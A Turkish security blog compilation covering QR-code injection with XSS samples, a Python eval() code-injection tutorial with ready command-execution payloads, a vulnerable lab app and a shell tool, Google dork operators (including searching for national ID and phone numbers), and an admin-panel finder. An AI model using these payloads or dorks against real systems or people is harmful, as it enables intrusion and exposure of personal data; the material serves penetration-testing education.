Barcode (QR Code) Injection

Standart

Barcode injection literature yeni girmiş bir açık türüdür,genelde SQL Injection altında verilir lakin sql injectiona yol açtığı kadar xss ve html injectionada yol açar.
Peki nedir bu barcode injection;Bildigiğiniz üzere artık mobil dünyanın ilerlemesi ile karekod kullanımı oldukça yayugınlaştı.mobil uygulamar yardımı ile tarattığınız karekodlar uygulama içinde texte çevrilir ve sql sorgusu olarak veya confirmation code olarak remote servera aktarılır.Işte bütün hadise burda başlar.Karekodu çözen uygulamaların çalıştığı remote server herhangi bir filtreleme kullanmaz ise karekod olarak oluşturduğunuz sorgu remote serverda sql sorgusu olarak çalışacaktır.Olayın özü budur.Şimdi bir kaç örnek verelim


HTML Injection
<h1>Burtay</h1>


Javascript Injection
<script>alert("Burtay")</script>

Javascript Injection II
<script>
for(i=1;i<=10;i++)
{
    alert("Burtay "+i+" Nolu Atak");
}
</script>

Canlı Uygulama

 

Kaynak

Python Code Injection

Standart

Web Uygulamalarında Python Code Injection

     Python Code Injection’a izin veren bir web uygulaması, uygulama üzerinden Python kodlarını hedef sunucuya gönderme imkanı tanır. Eğer python’u çalıştırabilirseniz büyük ihtimalle işletim sistemi komutlarını çağıracaksınız. Eğer işletim sistemi komutlarını çalıştırabilirseniz ,erişim sağladığınız dosya üzerinde okuma / üzerine yazma gibi çeşitli işlemleri yapabileceksiniz, ayrıca imkan dahilinde interaktif bir shell’i uzaktan çalıştırabileceksiniz.

Ana nokta; bu zafiyet, harici web uygulamalarını sömürmek ( exploit etmek ) amacıyla gerçekleştirilen sızma testlerinde, toplanan bilginin doğrulanması anlamında çok fazla zaman kaybettiriyor. Ekip arkadaşım Charlie Worrell ile birlikte etkileşimsiz bir shell ile Burp aracını açtık ki bu makale tam olarak bu olayı açıklamaktadır.

Python Code Injection, sunucu – taraflı code injection saldırısının küçük bir maketi gibidir. Bu açık, yazılım dili çok fark etmeksizin, birçok uygulamalarda bulunabilir. Aslında, siz de benim gibi bir CWE hayranı iseniz, aşağıda verdiğim iki adet CWE tam aradığınız şey olacaktır.

CWE-94: Improper Control of Generation of Code (’Code Injection’)
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (’Eval Injection’)

TL;DR

     Eğer aşağıdaki payload’a benzer bir python injection açığı bulduysanız ( Burp veya daha farklı bir araçla ) :
eval(compile(’for x in range(1):\n import time\n time.sleep(20)’,’a’,’single’))

OS Command Injection adı altında Zaman tabanlı bir POC yapmak için aşağıdaki payload u kullanabilirsiniz.
eval(compile(“””for x in range(1):\\n import os\\n os.popen(r’COMMAND’).read()”””,’’,’single’))

Ortaya çıktığında, for döngüsüne bile ihtiyacınız olmadan global_import_function kullanabilirsiniz.
eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))

Daha da önemlisi çoğu vakada tamamını derlemenize gerek yok sadece aşağıdaki kısmı derlemeniz yeterli olacaktır.
import(’os’).popen(’COMMAND’).read()

Bu web uygulamalarının güvenliğini aşabilmek için ; bazı karakterleri URL encode etmeniz gerekir. Aşağıdaki örnekler size neye benzediklerini ve nasıl gözüktüklerini göstermek amacıyla verilmiştir.

– param=eval%28compile%28’for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29’%2C’a’%2C’single’%29%29
– param=eval%28compile%28“““for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=eval%28compile%28“““import%28’os’%29.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=import%28’os’%29.popen%28’COMMAND’%29.read%28%29

İçerisinde Açık Bulunduran Bir Sunucu Kurulumu Yapmak

     Bu gönderinin amacına ulaşması için içerisinde açık bulunduran bir uygulama oluşturdum. Böylelikle saldırıyı bir lab ortamında gerçekleştirmek isterseniz yazılımı buradan edinebilirsiniz.

     Çalıştırmak için, pip veya easy_install aracılığıyla web.py uygulamasını yüklemeniz gerekmektedir. Tek başına bir sunucu olarak çalışabileceği gibi, Apache üzerine mod_wsgi ile yüklenebilir.


git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py

Açık ( vulnerability ) Hakkında

     python eval() ‘ın güvenli olmadığına dair uyarı barındırmayan az sayıda internet sitesi ile karşılaşmanıza rağmen, bu sitede eval()’ ın ileri seviyede tehlikeli olduğuna dair bilgiler bulacaksınız. Eğer aşağıda size verdiğimiz iki durumu yaşıyorsanız, açık mevcut demektir.

  1. Uygulama kullanıcının veri girişi yapmasına izin veriyorsa. (örn, GET/POST ,çerez değerleri )
  2. Uygulama, kullanıcı tarafından yapılan veri girişlerinin güvenli olmayan bir yolla geçmesini sağlarsa ( temizleme veya diğer koruma yöntemleri olmaksızın )

İşte burada içerisinde bu açığı barındıran kodun nasıl olacağı basitçe gösterilmiştir.

Daha önce de söylendiği gibi, eval(), bu tarzda bir açığın oluşmasında birinci dereceden bir etkendir. Bir geliştirici görüşü ile bu açık, kullanıcı tarafından seri bir şekilde veri girişi yapılması olarak yorumlanabilir.

Python exec() ile uygulamanızı açık barındırır hale getirebilirsiniz fakat bildiğim kadarıyla bir geliştirici exec() web tabanlı kullanıcı veri girişlerinde bile geçerli bir sebep bulmaya çalışmalıdır. Bu şekilde söyleniyorsa sonuç kesindir.

Otomatize Keşif

Daha önce görmediğimiz bir uygulamanın taramasını yaptıktan sonra, ilgili sonuçları almak adına POC raporlaması yapmak offensive güvenlik eğitimimden beri en değerli alışkanlıklarımdan birisi olmuştur ( bu sürece, tarayıcıların bulamadığı açıkları manuel olarak bulmayı da ekleyebiliriz ). Saldırı yapılacak açık çok farklı değildir. Eğer bunu kabaca kendiniz bulabiliyorsanız, herhangi bir otomatize edilmiş araçla da ( Burp Suite Pro gibi… ) bulabileceksiniz demektir. Aslında, Burp uygulaması içeriden yazılan bir yazılımla açıkları bulmaya çalışır ve bu yüzdendir ki, bu açığı Burp Suite olmaksızın bulabilmeniz hakkında kesin bir şey söyleyemeyeceğim.

İçerisinde açık barındıran Demo App’yi çalışır vaziyette bulduğunuzda, ilgili açığı Burp Suite Scan ile tarama sonrası bulabileceksiniz.

Burada gördüğünüz ise açık bulunduğunda, kullanabileceğiniz uygun payload hakkında detaylardır.

Burp bayraklarının sebebi ( flag ) açıklar olup, payload gönderimiyle birlikte, 20 sn’lik uyku komutu gönderildikten sonra, 20 sn içerisinde cevap gelmesidir. Zaman tabanlı açık kontrolünde, her kontrolde yanlış uyarılar vereceği gibi, uygulama başlatıldığında vereceği cevaplar da yavaş olacaktır.

POC’den Hedeflenmiş Saldırıya ( Exploitation ) Geçiş

time.sleep açığın varlığını onaylamak için uygun bir yöntem olsa da, işletim sistemi komutları çalıştırmak ve çıktı almak için uğraşırız. Bunu yaparken, os.popen() veya subprocess.Popen() ve subprocess.check_output() ile başarılı olduk ve eminim ki daha farklı şeyler de vardır. Eval’in ifadeleri değerlendirmesine benzer çoklu ifadeleriniz varsa Burp Suite payload size temiz bir açık tarama imkanı sunacaktır. Aşağıda bunlar açıklanmıştır.

http://www.floyd.ch/?p=584
http://vipulchaskar.blogspot.com.tr/2012/10/exploiting-eval-function-in-python.html

Bu payload bir çok durumda çalışmaktadır:

# Tek bir ifade ile çalışan örnek
import(’os’).popen(’COMMAND’).read()

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

str(“-“*50),import(’os’).popen(’COMMAND’).read()

Tek bir ifade ile çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read();import time;time.sleep(2)”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True);import time;time.sleep(2)”””,’’,’single’))

Yaptığım testlere göre; global_import_trick bazı alt uygulamaları çalıştırmayacaktır. Bu durumda, Burp ekibinin hazırladığı for döngü tekniğini kullanın.
eval(compile(“””for x in range(1):\n import os\n os.popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.Popen(r’COMMAND’,shell=True, stdout=subprocess.PIPE).stdout.read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Eğer açık içeren parametre bir GET parametresi ise, saldırıyı ( exploitation ) sadece web tarayıcınızla gerçekleştirebilirsiniz.

Not: Web tarayıcınız sizin için bir çok Url kodlamalarını yapacaktır fakat, %3b kolonunu ve %20 boşluklarını manuel olarak kodlamanız gerekecektir ( eğer kullanılmaları gerekiyorsa tabii ). Ya da size verdiğimiz araç ile tarama yapabilirsiniz.
Eğer POST parametresi ile çalışıyorsanız ( veya bir çerez değeri – sızma testinde başıma gelen bir durumdu ) muhtemelen Burp Repeater gibi bir yazılım kullanmanız gerekecektir. Aşağıdaki ekran görüntüleri pwd, ls -al, whoami ve ping gibi komutları çağırmada ve tüm bunları tek bir ifadede kullanan subprocess.check_output() komutunu kullanmayı gösterir.


Dolayısıyla manuel olarak yapılan Url kodlamaları hızlı bir şekilde eskir, bu yüzden büyük ihtimalle Charlie ve benim yaptığım gibi kendinizi güncel bir python script’i yazarken bulacaksınız. Tabi eğer isterseniz, bizim yazdığımız scripti de kullanabilirsiniz.

PyCodeInjectionShell ile Saldırı ( Exploitation ) Gösterimi

PyCodeInjectionShell yazılımını yükleyebilirsiniz ve nasıl kullanılacağını ise https://github.com/sethsec/PyCodeInjection adresinden öğrenebilirsiniz. PyCodeInjectionShell olabildiğince sqlmap tarzında yazılmıştır. Bizim varsayımımız ise python scriptini kullanan kişinin sqlmap tarzında bir uygulama ile karşılaşmış olmasıdır.
Aşağıdaki ekran görüntüsünde yazılımın, bir URL’i kabul ederken ki faaliyetleri görüntülenmektedir. Oradaki sqlmap tarzı * işareti, URL içerisindeki payload yerleşimini göstermektedir. Bu örnek zaten, çıkana kadar komut yazdığınız interaktif modu göstermektedir,

Ve burada da görüldüğü üzere, nereye saldırı yapılacağını gösteren * işareti, burp repeater’dan kopyalanıp / yapıştırılan bir istek dosyası ile aynı işlevselliği gösterir.

Diğer örnekte olduğu gibi, sadece tek bir komut girip çıkacaksanız, -i komutunu çıkarın.

 

Kaynak

GHDB (Google Hacking Database) Nedir ?

Standart

GHDB (Google Hacking Database) Nedir ?

Google, tüm web sitelerini tarayıp arayan kişiye, aradığı konu hakkında çok zekice sonuçlar çıkarmaktadır. Bunları yapabilmek için tüm web sitelerini gezerek elde ettiği verileri veritabanında tutmaktadır. Yaptığımız arama sonucunda istediğimiz bilgileri sıralayarak bize sunar. Bize sunduğu bilgiler arasında bilginin kaynağı olan web sitesi için zafiyet oluşturacak bilgiler de barınmaktadır. Google arama teknikleri ile derinlemesine araştırma yaparak kişisel bilgilere, e-mail adreslerine, web adresinizdeki açıklıkları vb. bilgilere ulaşmak mümkündür. Yapılan bu pasif bilgi toplama tekniğine GHDB (Google Hacking Database) adı verilmektedir.

Google Nasıl Çalışır ?

Siz daha sorgunuzu gerçekleştirmeden önce Google çalışmaya başlar. Google örümcekleri web sayfalarına istek yapar, getirdiği web sayfalarındaki bağlantıları izleyerek bunların gösterdiği sayfaları getirir ve sonra bu sayfalardaki bağlantıları izler . Kısacası web sayfalarını gezinerek bağlantıları elde eder ve elde ettiği bağlantıları gezinerek sayfalardaki diğer bağlantıları de elde eder. Bu tekniğe Crawling adı verilmektedir. Elde ettiği her bağlantıyı ziyaret ederek bir birine bağlı onlarca web sayfasına erişir ve işlem tamamlandığında büyük bir veri elde eder. Yani siz daha sorgu gerçekleştirmeden Google milyonlarca web sayfasını ziyaret edip sizin için gerekli index bilgilerini çıkartır. İndex bilgisi ile sayfa içeriği farklı yerlerde barındırılır.

111

Yukarıdaki şemayı incelediğinizde sorgu gerçekleştirilirken hangi aşamalardan geçerek kullanıcıya verilerin sıralandığını görebilirsiniz. Gerçekleştirilen sorgu ilk olarak Google Web Server tarafından karşılanıyor. Web Server aldığı isteği Index Server’a iletir. Bu Server’da sayfalar tek tek incelenmeden Index içerisinde arama yapılarak daha hızlı sonuçlar elde edilir. Elde edilen sonuçlar Document Server’a gönderilir. Bulunan Index’e ait belgeler hızlı bir şekilde çıkartılarak kullanıcıya sunulur. Ayrıca gerçekleştirilen sorguya birden fazla sunucu aynı anda karşılık verdiğinden daha hızlı cevap vermektedir. Bir sorgunun cevaplanma süresi yaklaşık yarım saniyedir. Tüm bu adımlar gerçekleşirken Google sizin için 200 den fazla sorgu ile sizin için en iyi sonuçları çıkarmayı hedefler.

Google Arama Teknikleri

Arama kutucuğuna aramak istediğiniz sorguyu yazarak arama yapabilmek mümkün, lakin onlarca çok sonuç var ki işimize yarayacak bilgilere ulaşmamız için daha fazla filtreleme kullanmalıyız. Bu nedenle basit arama tekniği yerine gelişmiş arama tekniğini tercih etmeliyiz. Google gelişmiş arama yapabilmemiz için bize bazı operatörler sunuyor. Operatörleri karakter ve kelime olarak iki grupta inceleyeceğiz.

1. Karakter Operatörleri

222

Örnekler;

veri + gizleme   –   İçerisinde ’veri’ ve ’gizleme’ kelimesi geçen sayfaları listeler.

veri – gizleme – İçerisinde ’veri’ kelimesi olup, ’gizleme’ kelimesi olmayan sayfaları listeler.

“veri gizleme” – İçerisinde ” veri gizleme ” öbeği geçen sayfaları listeler.

veri * gizleme – İçerisinde ’*’ karakteri yerine herhangi bir kelime bulunan sayfaları listeler. (veri madenciliği veri gizleme gibi)

# veri | gizleme – İçerisinde ’veri’ ya da ’gizleme’ kelimelerinden birinin ya da her ikisinin geçtiği sayfaları listeler.

veri & gizleme – İçerisinde ’veri’ ve ’gizleme’ kelimelerinin her ikisinin de geçtiği sayfaları listeler.

(“veri gizleme” | “malware analizi”) – içerisinde ’ veri gizleme’ ya da ’ malware analizi ’ geçen sayfaları listeler.

2. Kelime Operatörleri

Kelime operatörleri ile yapacağımız aramaları daha kesin sonuçlara bağlayabiliriz. Hedefi git gide küçülterek, bilgi çöplüğünden ziyade daha elle tutulur veriler elde edeceğiz.

Aşağıda operatörlerin yaptığı işlemler anlatılmıştır. Ardından örnekle pekiştirilmiştir.

site: Belirttiğiniz adrese ait sayfaları listeler.
site: turksec.net

intitle: Belittiğimiz kelimeyi ya da kelimeleri sayfa başlığında arar ve sonuçları listeler.
intitle: web security

allintitle: Belittiğiniz birden fazla kelimenin tamamını sayfa başlığında içeren sayfaları listeler.
allintitle: web security

inurl: Belirttiğiniz kelime web sitelerinin URL’ inde aranır. Site operatörüne benzer farkı; site operatörü host’a odaklanır inurl ise URL in herhangi bir yerinde (host,parametre,değer) bulunması yeterlidir.
inurl:web security

allinurl: Belirttiğiniz kelimelerin tümünü web sitelerinin URL’ inde içeren web sayfalarını listeler.
allinurl: web security

inanchor: Belittiğiniz veri ile ilişkili olan bağlantıları listeler.
web security   inanchor: XSS

intext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz.
intext: dom tabanlı xss

allintext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz. Tüm kelimelerin içerikte var olması gerekir.
allintext: dom tabanlı xss

cache: Hedef adresin Google önbelleğindeki son halini görüntüleyebilirsiniz. En son önbelleğin ne zaman güncellendiği vb. bilgilere de ulaşmak mümkündür.
cache: turksec.net

filetype: Filtrelediğimiz uzantıdaki dosyaları arayacaktır.
web security filetype: pdf

info: Belirttiğimiz web adresi ile alakalı web adreslerini listeler.
info: turksec.net

link: Tanımladığımız link’e ait sayfaları listeler.
link: turksec.net

related: Belirttiğimiz web adresine benzer yapıda olan sayfaları listeler.
related: google.com

insubject:   Belirttiğimiz kelimeleri içeren içeriğe sahip web sayfalarını listeler.
insubject:”web güvenliği”

define: Aradığımız kelime ile alakalı sayfaları listeler.
define: “Php pdo”

groups: Bir topluluk veya gruba ait bilgi toplamak istiyorsak, groups dork ile aramamızı sınırlandırabiliriz.
groups: phpkonf

(Google groups: Google tarafından ücretsiz olarak sağlanan çevirimiçi gruplar ve mail listesi servisidir. Google Groups kullanarak, ilgi alanlarına göre gruplar bulunabilir ve üye olunabilir.)

author: Yazara ait bilgileri listelemeyi sağlar.
author: TurkSec
ext: filetype dorku ile aynı işlemi görmektedir. Aradığımız dosya uzantılarını filtreleyebiliriz.
ext: sql

maps: Aradığımız lokasyona ait bilgileri bulabiliriz.
maps: Türk Hava Kurumu Üniversitesi

location: Google Haberlerdeki sorgunuza konum eklerseniz, belirtilen konuma ait haberleri listeleyecekir.
location: ankara

source: Sorgumuza kaynak ekleyerek aradığımız makalelerin, dökümanların kaynağını sınırlandırabiliriz.
RFI source: TurkSec

book: Aradığınız kitap hakkında bilgi bulabilirsiniz.
book: network security 

daterange: Aradığınız tarih aralığı ile aramanızı filtreleyebilirsiniz.
daterange: 1990 – 2000

numrange: Aradığınız aralıklarda numaralar ile aramanızı kısıtlayabiliriz. Tc kimlik numaraları, telefon numaraları gibi bilgileri bulmak için bu operatörü kullanabilirsiniz.
numrange:05071111111-05541231212

 

Exploits: https://www.exploit-db.com/google-hacking-database/

TurkSec Panel Bulucu

Standart

Merhaba arkadaşlar sizlere  hedef sitenin admin panelini bulmak için kullanabileceğiniz  “TurkSec Panel Bulucu” programını tanıtıcağım. Program java ile kodlandı ve JRE 8 ile derlendi o yüzden programı çalıştırabilmek için java.com dan javanın son sürümünü indirip kurmanız lazım.

Javayı yükledikten sonra TurkSec Panel Bulucu uygulamasına girin. “Dizin dosyası seç” butonuna tıklayarak ekte vermiş olduğum admins.txt dosyasını seçin. Ben elimdeki panel uzantılarını ekledim ama siz yinede geliştirebilirsiniz. Ardından hedef sitenizin URL adresini girin ve “Adresi sabitle” butonuna basıp Taramaya başlayın.

tspb

Soru: Çalışma mantığı nedir?
Cevap: Dosyadaki dizin ve dosya listesini çeker. Site üzerinde bunları dener. Bulduğunu düşündüklerini ekrana verir. Piyasadakilerden farklı algoritması vardır. Netlik değeri yüksektir. False positive değeri düşüktür. Özellikle havijde rastladığımız bugların hiçbirini barındırmaz. MultiThread çalışır. Sayfaları 5’er 5’er dener.

Soru: Https destekler mi?
Cevap: Evet.

Soru: Alt klasörleri dener mi?
Cevap: Recursive mantıkla çalışmaz. Url için yazdığın dizinin altında deneme yapar. Her dizin için ayrı tarama yapman gerekir.

Soru: Yanılma payı var mıdır?
Cevap: Her zaman her programda vardır. Ama piyasadakilerden artısı çoktur.

Soru: Peki programı özel yapan nedir?
Cevap: Status code bazlı çalışmaz, 200 döndüren 404 sayfalarını da tespit eder. Uzantı bazlı çalışır, yani diğer bi deyişle, php nin 404 ü ile php yi kıyaslar, jsp nin 404 ü ile jsp’yi kıyaslar.

Soru: Hangi durumlarda yanılabilir?
Cevap: Birden fazla “custom” error sayfası olan ve bunları rastgele döndüren sunucularda. Bağlantı gidip gelme veya firewall tarafından bloklanma durumlarında.

PROGRAMI İNDİRMEK İÇİN TIKLAYIN